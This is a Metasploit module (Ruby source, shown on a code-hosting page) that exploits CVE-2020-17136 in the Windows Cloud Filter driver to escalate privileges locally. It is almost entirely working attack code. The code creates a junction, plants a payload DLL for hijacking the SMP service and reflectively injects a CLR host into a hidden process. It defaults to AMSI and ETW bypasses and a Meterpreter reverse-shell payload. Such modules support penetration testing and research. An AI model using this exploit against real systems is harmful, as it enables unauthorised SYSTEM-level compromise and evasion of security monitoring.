Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/cve_2020_17136.rb
33650 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
include Exploit::EXE
8
include Msf::Post::File
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::Version
11
include Msf::Post::Windows::Process
12
include Msf::Post::Windows::ReflectiveDLLInjection
13
include Msf::Post::Windows::Dotnet
14
include Msf::Post::Windows::Services
15
include Msf::Post::Windows::FileSystem
16
include Msf::Exploit::FileDropper
17
prepend Msf::Exploit::Remote::AutoCheck
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
24
'Description' => %q{
25
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
26
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
27
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
28
function with attacker controlled input. This meant that files were created with
29
KernelMode permissions, thereby bypassing any security checks that would otherwise
30
prevent a normal user from being able to create files in directories
31
they don't have permissions to create files in.
32
33
This module abuses this vulnerability to perform a DLL hijacking attack against the
34
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
35
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
36
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
37
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
38
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'James Foreshaw', # Vulnerability discovery and PoC creator
43
'Grant Willcox' # Metasploit module
44
],
45
'Platform' => ['win'],
46
'SessionTypes' => ['meterpreter'],
47
'Privileged' => true,
48
'Targets' => [
49
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
50
],
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2020-03-10',
53
'References' => [
54
['CVE', '2020-17136'],
55
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
56
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
57
],
58
'Notes' => {
59
'SideEffects' => [ ARTIFACTS_ON_DISK ],
60
'Reliability' => [ REPEATABLE_SESSION ],
61
'Stability' => [ CRASH_SAFE ]
62
},
63
'DefaultOptions' => {
64
'EXITFUNC' => 'process',
65
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
66
},
67
'Compat' => {
68
'Meterpreter' => {
69
'Commands' => %w[
70
stdapi_sys_process_attach
71
stdapi_sys_process_execute
72
stdapi_sys_process_get_processes
73
stdapi_sys_process_getpid
74
stdapi_sys_process_kill
75
stdapi_sys_process_memory_allocate
76
stdapi_sys_process_memory_write
77
stdapi_sys_process_thread_create
78
]
79
}
80
}
81
)
82
)
83
register_options(
84
[
85
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
86
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
87
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
88
], self.class
89
)
90
91
register_advanced_options(
92
[
93
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
94
]
95
)
96
end
97
98
def check_requirements(clr_req, installed_dotnet_versions)
99
installed_dotnet_versions.each do |fi|
100
if clr_req == 'v4.0.30319'
101
if fi[0] == '4'
102
vprint_status('Requirements ok')
103
return true
104
end
105
elsif fi[0] == '3'
106
vprint_status('Requirements ok')
107
return true
108
end
109
end
110
print_error('Required dotnet version not present')
111
false
112
end
113
114
def check
115
if session.platform != 'windows'
116
# Non-Windows systems are definitely not affected.
117
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
118
end
119
120
version = get_version_info
121
122
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
123
if version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 684)
124
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
125
elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 684)
126
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
127
elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1255)
128
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
129
elsif version.build_number == Msf::WindowsVersion::Win10_1903 && version.revision_number.between?(0, 1255)
130
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
131
elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 1636)
132
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
133
elsif version.build_number == Msf::WindowsVersion::Win10_1803 && version.revision_number.between?(0, 1901)
134
return CheckCode::Appears('A vulnerable Windows 10 v1803 build was detected!')
135
else
136
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
137
end
138
end
139
140
def exploit
141
if sysinfo['Architecture'] != ARCH_X64
142
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
143
elsif session.arch != ARCH_X64
144
fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')
145
end
146
dir_junct_path = 'C:\\Windows\\Temp'
147
intermediate_dir = rand_text_alpha(10).to_s
148
junction_dir = rand_text_alpha(10).to_s
149
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"
150
151
mkdir(path_to_intermediate_dir.to_s)
152
if !directory?(path_to_intermediate_dir.to_s)
153
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
154
end
155
register_dir_for_cleanup(path_to_intermediate_dir.to_s)
156
157
mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
158
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
159
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
160
end
161
162
mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
163
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
164
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
165
end
166
167
exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))
168
unless File.file?(exe_path)
169
fail_with(Failure::BadConfig, 'Assembly not found')
170
end
171
installed_dotnet_versions = get_dotnet_versions
172
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
173
if installed_dotnet_versions == []
174
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
175
end
176
if check_requirements('v4.0.30319', installed_dotnet_versions) == false
177
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
178
end
179
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
180
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
181
write_file(payload_path, generate_payload_dll)
182
register_file_for_cleanup(payload_path)
183
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")
184
service_start('smphost')
185
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
186
sleep(3)
187
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
188
end
189
190
def pid_exists(pid)
191
mypid = client.sys.process.getpid.to_i
192
193
if pid == mypid
194
print_bad('Cannot select the current process as the injection target')
195
return false
196
end
197
198
host_processes = client.sys.process.get_processes
199
if host_processes.empty?
200
print_bad('No running processes found on the target host.')
201
return false
202
end
203
204
theprocess = host_processes.find { |x| x['pid'] == pid }
205
206
!theprocess.nil?
207
end
208
209
def launch_process
210
process_name = 'notepad.exe'
211
print_status("Launching #{process_name} to host CLR...")
212
213
process = client.sys.process.execute(process_name, nil, {
214
'Channelized' => true,
215
'Hidden' => true,
216
'UseThreadToken' => true,
217
'ParentPid' => 0
218
})
219
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
220
print_good("Process #{hprocess.pid} launched.")
221
[process, hprocess]
222
end
223
224
def inject_hostclr_dll(process)
225
print_status("Reflectively injecting the Host DLL into #{process.pid}..")
226
227
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
228
library_path = ::File.expand_path(library_path)
229
230
print_status("Injecting Host into #{process.pid}...")
231
exploit_mem, offset = inject_dll_into_process(process, library_path)
232
[exploit_mem, offset]
233
end
234
235
def execute_assembly(exe_path, exe_args)
236
if sysinfo.nil?
237
fail_with(Failure::BadConfig, 'Session invalid')
238
else
239
print_status("Running module against #{sysinfo['Computer']}")
240
end
241
if datastore['WAIT'].zero?
242
print_warning('Output unavailable as wait time is 0')
243
end
244
245
process, hprocess = launch_process
246
exploit_mem, offset = inject_hostclr_dll(hprocess)
247
248
assembly_mem = copy_assembly(exe_path, hprocess, exe_args)
249
250
print_status('Executing...')
251
hprocess.thread.create(exploit_mem + offset, assembly_mem)
252
253
if datastore['WAIT'].positive?
254
sleep(datastore['WAIT'])
255
read_output(process)
256
end
257
258
if datastore['KILL']
259
print_good("Killing process #{hprocess.pid}")
260
client.sys.process.kill(hprocess.pid)
261
end
262
263
print_good('Execution finished.')
264
end
265
266
def copy_assembly(exe_path, process, exe_args)
267
print_status("Host injected. Copy assembly into #{process.pid}...")
268
int_param_size = 8
269
sign_flag_size = 1
270
amsi_flag_size = 1
271
etw_flag_size = 1
272
assembly_size = File.size(exe_path)
273
274
cln_params = ''
275
cln_params << exe_args
276
cln_params << "\x00"
277
278
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
279
payload_size += assembly_size + cln_params.length
280
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
281
params = [
282
assembly_size,
283
cln_params.length,
284
datastore['AMSIBYPASS'] ? 1 : 0,
285
datastore['ETWBYPASS'] ? 1 : 0,
286
2
287
].pack('IICCC')
288
params += cln_params
289
290
process.memory.write(assembly_mem, params + File.read(exe_path, mode: 'rb'))
291
print_status('Assembly copied.')
292
assembly_mem
293
end
294
295
def read_output(process)
296
print_status('Start reading output')
297
old_timeout = client.response_timeout
298
client.response_timeout = 5
299
300
begin
301
loop do
302
output = process.channel.read
303
if !output.nil? && !output.empty?
304
output.split("\n").each { |x| print_good(x) }
305
end
306
break if output.nil? || output.empty?
307
end
308
rescue Rex::TimeoutError
309
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
310
rescue ::StandardError => e
311
print_error("Exception: #{e.inspect}")
312
end
313
314
client.response_timeout = old_timeout
315
print_status('End output.')
316
end
317
end
318
319